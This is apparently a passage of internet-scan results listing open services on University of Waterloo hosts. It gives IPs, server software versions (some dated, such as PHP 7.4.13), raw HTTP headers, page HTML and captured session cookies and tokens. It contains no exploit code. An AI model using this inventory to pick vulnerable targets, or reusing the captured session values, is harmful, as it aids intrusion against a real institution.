"context":"GpCWpw6nEvSFktwc6F6NADS3WgNTsfrdCfPfE7tTPckHtRDKuuhkaAnuvOd2DOOcKP+QGyC4C3PGPznxEwIhgy2P0mql1uuh5IGsk9iaG+x5FCcb5k+ZDHNWPcKepK8wkyyxDqAqFCe0hIO56ss3Clzl5JuoGDdevTY1KJfuqwPmgEUfueFWDqcZ9D6VvunOXlnCH6zmeOSAHLlLIrRUh9mL565+yHqXBCy1aU1a/bkBMVtmYPxFlLAv6I4fyk9oMq5onztQBF3R5oCtJ2bnce3P7518YMUtN4k7zS8i0gS25I4Vi81nHgJFM2fKko50OCi0H53vb4ik6IV1FVhNIAp3WwPybg3tPNnDnPDCB+WmgQxVmbNWlKy0k87XFjfZuQAALtTe7HozjUAdimrKZSm6HI67LCL8goYreZqme6DyximKRPwCzPvuFhf+v73Kd8zX9zllqs0ibiLFddFBEB7jadQlXIr0IauLI8zPQSGBw4a3bqBfoNwwpp6OHVFe6yGZL79k5konmg4UURYoslucXY8e1B8mYR8kdwcydzYl8xW7pffGg9xKyzXqZX8XXMWyZkDOIllLOM/y+yCBRwTU9vEvTm83wPABuDjg0++JQOyXAbX4FrIc8V3tECPfMSzJZSjbM6CG+VeY/zNjFXQfQUgEfCmxSK4Twi7BACs9Oxeuu7PYEotUUgcHt7raHsdWCOjdtKxF85706FCYr/aRWy6LcJmvHYoToBE/XOH54W8cgnfLJFf1G9nz2EFF9tKT7Gt5K+PH85F/LA=="
};
</script>
<script src="https://6607760723ac.acd4048d.eu-west-1.token.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/challenge.js"></script>
<script src="https://6607760723ac.acd4048d.eu-west-1.captcha.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/captcha.js"></script>
</head>
<body>
<div id="captcha-container"></div>
<script type="text/javascript">
AwsWafIntegration.saveReferrer();
window.addEventListener("load", function() {
const container = document.querySelector("#captcha-container");
CaptchaScript.renderCaptcha(container, async (voucher) => {
await ChallengeScript.submitCaptcha(voucher);
window.location.reload(true);
}
);
});
</script>
<noscript>
<h1>JavaScript is disabled</h1>
In order to continue, you need to verify that you're not a robot by solving a CAPTCHA puzzle.
The CAPTCHA puzzle requires JavaScript. Enable JavaScript and then reload the page.
</noscript>
</body>
</html>
Open service 129.97.75.25:443 · syn.uwaterloo.ca
2026-01-10 10:15
HTTP/1.1 200 OK
Content-Type: text/html
ETag: "4030087855"
Last-Modified: Mon, 14 Apr 2025 18:32:26 GMT
Content-Length: 3709
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Accept-Ranges: bytes
Connection: close
Date: Sat, 10 Jan 2026 10:15:18 GMT
Server: lighttpd/1.4.82
Page title: Systems and Networking Group
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Systems and Networking @ University of Waterloo">
<meta name="author" content="Ali Mashtizadeh">
<title>Systems and Networking Group</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
<link href="jumbotron.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">SYN</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExampleDefault">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/people.html">People</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/publications.html">Publications</a>
</li>
</ul>
</div>
</nav>
<main role="main">
<div class="jumbotron">
<div class="container">
<h1 class="display-3">Systems and Networking</h1>
<h2>@ University of Waterloo</h2>
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-8">
<p>The focus of the Systems and Networking Group is the design, implementation,
analysis, and evaluation of computer systems and networks that knit together
disparate underlying components to present a cohesive operating environment for
task-specific applications.</p>
<p>Our members study systems ranging from single-processor, standalone embedded
systems to large-scale highly-networked distributed systems. Research activity
similarly covers a broad variety of topics: parallel hardware, systems
software, data-centre networking and data-centre systems, wireless networks,
energy systems, and wide-area networks.</p>
<p>We use many approaches in our work, reflecting our varied expertise. This
includes workload characterization, architectural design, algorithm design,
theoretical analysis, simulation, and the design, implementation and
experimental evaluation of prototype systems.</p>
<p>Contact: <a href="mailto:cs-syn@uwaterloo.ca">cs-syn@uwaterloo.ca</a></p>
</div>
<div class="col-md-4">
<h2>Groups</h2>
<ul>
<li><a href="https://rcs.uwaterloo.ca/">RCS Lab</a></li>
<li><a href="https://wasl.uwaterloo.ca/">WASL</a></li>
</ul>
</div>
</div>
<hr>
</div> <!-- /container -->
</main>
<footer class="container">
<p class="float-left">© University of Waterloo 2018–2025</p>
<div class="col-md-3 float-right"><a href="https://cs.uwaterloo.ca/">
<img src="uwcs.png" class="img-fluid">
</a></div>
</footer>
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js"></script>
</body>
</html>
Open service 129.97.75.25:80 · syn.uwaterloo.ca
2026-01-10 10:15
HTTP/1.1 301 Moved Permanently Location: https://syn.uwaterloo.ca/ Content-Length: 0 Connection: close Date: Sat, 10 Jan 2026 10:16:16 GMT Server: lighttpd/1.4.82
Open service 129.97.206.23:80 · salt.math.uwaterloo.ca
2026-01-10 01:59
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://salt.math.uwaterloo.ca/ Server: Caddy Date: Sat, 10 Jan 2026 02:00:24 GMT Content-Length: 0
Open service 129.97.222.20:443 · wisdomsummit.uwaterloo.ca
2026-01-10 01:28
HTTP/1.1 200 OK Date: Sat, 10 Jan 2026 01:25:11 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Link: <https://wisdomsummit.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Set-Cookie: PHPSESSID=hnf2c9os54rmgpm17kvqni9gok; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Vary: Accept-Encoding Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; style-src 'self' 'unsafe-inline' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; img-src 'self' data: *.gravatar.com *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; font-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com; connect-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com *.gravatar.com; frame-src 'self' *.youtube.com *.vimeo.com; object-src 'none'; base-uri 'self'; form-action 'self'; Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.222.20:80 · wisdomsummit.uwaterloo.ca
2026-01-10 01:28
HTTP/1.1 302 Found Date: Sat, 10 Jan 2026 01:25:49 GMT Server: Apache Location: https://wisdomsummit.uwaterloo.ca/ Content-Length: 218 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://wisdomsummit.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.152.9:443 · koios.cs.uwaterloo.ca
2026-01-10 01:05
HTTP/1.1 302 Found server: TornadoServer/6.4 content-type: text/html date: Sat, 10 Jan 2026 01:05:43 GMT x-jupyterhub-version: 4.1.5 access-control-allow-headers: accept, content-type, authorization content-security-policy: frame-ancestors 'none'; report-uri /hub/security/csp-report location: /hub/ content-length: 0 connection: close
Open service 129.97.140.196:443 · cscircles.uwaterloo.ca
2026-01-10 01:05
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Jan 2026 01:05:31 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sun, 10-Jan-2027 01:05:32 GMT; Max-Age=31536000; path=/; secure X-Redirect-By: WordPress Location: https://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.128.150:443 · ist.uwaterloo.ca
2026-01-10 00:29
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Jan 2026 00:29:41 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/ist/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/ist/">here</a>.</p> </body></html>
Open service 129.97.50.139:443 · www.ofis.uwaterloo.ca
2026-01-10 00:18
HTTP/1.1 200 OK Date: Sat, 10 Jan 2026 00:18:56 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.1.1h-freebsd PHP/7.4.13 Cache-Control: private, max-age=0, must-revalidate Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Powered-By: PHP/7.4.13 X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo referer: https://ofis.uwaterloo.ca Content-Length: 85 Content-Type: text/html; charset=UTF-8 <meta http-equiv='Refresh' content='0;URL=OFIS/'>^M <a href="ofis/">OFIS</a><br />^M
Open service 52.233.38.143:443 · openapi.data.uwaterloo.ca
2026-01-09 23:37
HTTP/1.1 404 Not Found Content-Length: 0 Connection: close Date: Fri, 09 Jan 2026 23:38:17 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b94576c2d163020e8817f221b76de4b33a22a5901de8abf953ffba7f6962ecc3;Path=/;HttpOnly;Secure;Domain=openapi.data.uwaterloo.ca Set-Cookie: ARRAffinitySameSite=b94576c2d163020e8817f221b76de4b33a22a5901de8abf953ffba7f6962ecc3;Path=/;HttpOnly;SameSite=None;Secure;Domain=openapi.data.uwaterloo.ca Strict-Transport-Security: max-age=2592000 X-Powered-By: ASP.NET
Open service 129.97.134.246:443 · www.mathnews.uwaterloo.ca
2026-01-09 23:36
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 23:36:56 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Expires: Sat, 10 Jan 2026 00:36:56 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Location: https://mathnews.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.77.79:443 · hiam.uwaterloo.ca
2026-01-09 23:16
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 23:16:43 GMT Server: Apache/2.4.58 (Ubuntu) Upgrade: h2 Connection: Upgrade, close Link: <https://hiam.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://hiam.uwaterloo.ca/wp-json/wp/v2/pages/653>; rel="alternate"; title="JSON"; type="application/json" Link: <https://hiam.uwaterloo.ca/>; rel=shortlink Last-Modified: Fri, 09 Jan 2026 23:08:43 GMT ETag: "48b24ce77ee929a3c950e04050576bae" Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.140.196:80 · cemc1.math.uwaterloo.ca
2026-01-09 22:29
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 22:30:14 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 09-Jan-2027 22:30:15 GMT; Max-Age=31536000; path=/ X-Redirect-By: WordPress Location: http://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.7.142:80 · crowdeeg.cs.uwaterloo.ca
2026-01-09 22:14
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 22:14:51 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://crowdeeg.cs.uwaterloo.ca/ Content-Length: 331 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://crowdeeg.cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at crowdeeg.cs.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.7.142:443 · crowdeeg.cs.uwaterloo.ca
2026-01-09 22:14
HTTP/1.1 503 Service Unavailable Date: Fri, 09 Jan 2026 22:14:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 390 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 503 Service Unavailable <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>503 Service Unavailable</title> </head><body> <h1>Service Unavailable</h1> <p>The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at crowdeeg.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-09 21:43
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Fri, 09 Jan 2026 21:44:21 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/463a61d9ad95bb58.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-5d05866e11118bde.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.167.168:443 · nextcloud-test.cscf.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 302 Found date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-robots-tag: noindex, nofollow referrer-policy: no-referrer set-cookie: vault-2404-1=7bic4u62oivcntd0kv73agcn8f; path=/; secure; HttpOnly; SameSite=Lax set-cookie: oc_sessionPassphrase=mYf1XOrsIsgPsPkGX1en5H7018fPHgyyD1ikmrleGXasCYbcLVePbFbq9PYf2vUnKZaSlEEgCjKYQXHNl4tTvYfB9J5Sw%2BTbRMLNOW%2Br9%2BMKsmw6IErb%2Bestajqi6POR; path=/; secure; HttpOnly; SameSite=Lax set-cookie: vault-2404-1=7bic4u62oivcntd0kv73agcn8f; path=/; secure; HttpOnly; SameSite=Lax content-security-policy: default-src 'self'; script-src 'self' 'nonce-kn8E8RNGp9xMLsH/kM+zji4qU/vzVZtnDI8UjKSKnMk='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self'; set-cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax set-cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict set-cookie: vault-2404-1=7bic4u62oivcntd0kv73agcn8f; path=/; secure; HttpOnly; SameSite=Lax location: https://nextcloud-test.cscf.uwaterloo.ca/login content-length: 0 content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: nextcloud-test.cscf.uwaterloo.ca_haproxy_cookie=nextcloud-test.cscf.uwaterloo.ca3; path=/ connection: close
Open service 129.97.167.168:443 · uclp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Thu, 19 May 2005 15:16:07 GMT
etag: "284f-3f77715ad9bc0"
accept-ranges: bytes
content-length: 10319
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: User Controlled LightPath Project
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>User Controlled LightPath Project</title>
<meta name="Microsoft Border" content="l, default">
</head>
<body background="images/bg-publi.gif"><!--msnavigation--><table dir="ltr" border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top" width="1%">
<p>
<script language="JavaScript"><!--
MSFPhover =
(((navigator.appName == "Netscape") &&
(parseInt(navigator.appVersion) >= 3 )) ||
((navigator.appName == "Microsoft Internet Explorer") &&
(parseInt(navigator.appVersion) >= 4 )));
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
// --></script><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav1n=MSFPpreload("_derived/home_cmp_tabs110_vbtn.gif"); MSFPnav1h=MSFPpreload("_derived/home_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="index.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav1'].src=MSFPnav1h.src" onmouseout="if(MSFPhover) document['MSFPnav1'].src=MSFPnav1n.src"><img src="_derived/home_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Home" name="MSFPnav1"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav2n=MSFPpreload("_derived/team_members.htm_cmp_tabs110_vbtn.gif"); MSFPnav2h=MSFPpreload("_derived/team_members.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="team_members.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav2'].src=MSFPnav2h.src" onmouseout="if(MSFPhover) document['MSFPnav2'].src=MSFPnav2n.src"><img src="_derived/team_members.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Team Members" name="MSFPnav2"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav3n=MSFPpreload("_derived/project_description.htm_cmp_tabs110_vbtn.gif"); MSFPnav3h=MSFPpreload("_derived/project_description.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="project_description.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav3'].src=MSFPnav3h.src" onmouseout="if(MSFPhover) document['MSFPnav3'].src=MSFPnav3n.src"><img src="_derived/project_description.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Project Description" name="MSFPnav3"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav4n=MSFPpreload("_derived/statement_of_work.htm_cmp_tabs110_vbtn.gif"); MSFPnav4h=MSFPpreload("_derived/statement_of_work.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="statement_of_work.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav4'].src=MSFPnav4h.src" onmouseout="if(MSFPhover) document['MSFPnav4'].src=MSFPnav4n.src"><img src="_derived/statement_of_work.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Statement of Work" name="MSFPnav4"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav5n=MSFPpreload("_derived/management.htm_cmp_tabs110_vbtn.gif"); MSFPnav5h=MSFPpreload("_derived/management.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="management.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav5'].src=MSFPnav5h.src" onmouseout="if(MSFPhover) document['MSFPnav5'].src=MSFPnav5n.src"><img src="_derived/management.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Management" name="MSFPnav5"></a><br><script language="JavaScript"><!--
if(MSFPhover) { MSFPnav6n=MSFPpreload("_derived/presentations.htm_cmp_tabs110_vbtn.gif"); MSFPnav6h=MSFPpreload("_derived/presentations.htm_cmp_tabs110_vbtn_a.gif"); }
// --></script><a href="presentations.htm" language="JavaScript" onmouseover="if(MSFPhover) document['MSFPnav6'].src=MSFPnav6h.src" onmouseout="if(MSFPhover) document['MSFPnav6'].src=MSFPnav6n.src"><img src="_derived/presentations.htm_cmp_tabs110_vbtn.gif" width="140" height="45" border="0" alt="Presentations" name="MSFPnav6"></a><br><script language="JavaScript"><!--
if(MSFPhover)
Open service 129.97.167.168:80 · chil.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://chil.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cswiki.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cswiki.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · qc.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://qc.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · www.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · nextcloud-test.cscf.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://nextcloud-test.cscf.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · uclp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://uclp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · chil.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 17 Aug 2015 12:11:23 GMT
etag: "cf7-51d80b333a8bc"
accept-ranges: bytes
content-length: 3319
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Computational Health Informatics Lab | SCS | UW
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Computational Health Informatics Lab | SCS | UW</title>
<link href="/favicon.ico" rel="shortcut icon">
<link href="/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="/css/header.css" rel="stylesheet" type="text/css">
<link href="/css/footer.css" rel="stylesheet" type="text/css">
<link href="/css/main.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="wrapper" class="container">
<div id="head-template"></div>
<div class="row">
<div class="col-md-3" >
<!-- Sidebar content -->
<div id="sidebar-template">
<hr>
<ul id="chil-sidebar" class="nav nav-pills nav-stacked" >
<li class="active">
<!-- <i class="glyphicon glyphicon-home"></i>Homepage -->
<a href="/index.html">
<i class="glyphicon glyphicon-home pull-left"></i>
Homepage
</a>
</li>
<li>
<a href="/people">
<i class="glyphicon glyphicon-user pull-left"></i>People
</a>
</li>
<li>
<a href="/research">
<i class="glyphicon glyphicon-book"></i>Research
</a>
</li>
<li>
<a href="/events">
<i class="glyphicon glyphicon-list-alt"></i>Events
</a>
</li>
<li class="ext">
<a href="https://cs.uwaterloo.ca/~jhoey/chil/wiki/">
<i class="glyphicon glyphicon-pencil"></i>CHIL Wiki
</a>
</li>
<li class="ext">
<a href="http://hi.uwaterloo.ca/">
<i class="glyphicon glyphicon-link">
</i>Health Informatics | Waterloo
</a>
</li>
<li class="ext">
<a href="http://www.cs.uwaterloo.ca">
<i class="glyphicon glyphicon-link pull-left"></i>David R. Cheriton School of Computer Science
</a>
</li>
</ul>
</div><!-- sidebar -->
</div>
<div class="col-md-9">
<hr>
<div class="jumbotron">
<!-- Body content -->
<p>Welcome to CHIL, the Computational Health Informatics Laboratory at the University of Waterloo.
</p>
<p>
Computational health informatics is the <b>Informatics</b> part of health informatics: We study computational mechanisms for enabling more efficient and easy-to-use healthcare delivery, and we study large-scale data analytics problems in healthcare.
</p>
<p>
We have a very active research group in health informatics - check out our <a href="/people/">people</a> and their pages for more information.
</p>
</div>
</div>
</div><!-- end mainbody -->
</div><!-- end #container -->
<div id="footer-wrapper" class="container">
</div>
<script src="/jquery-1.11.3.min.js" type="text/javascript"></script>
<script src="/bootstrap.min.js" type="text/javascript"></script>
<script type='text/javascript'>
$('#head-template').load("/header.html");
// $('#sidebar-template').load("/templates/sidebar.html");
$('#footer-wrapper').load("/footer.html");
</script>
</body>
</html>
Open service 129.97.167.168:443 · charisma2010.uwaterloo.ca
2026-01-09 21:21
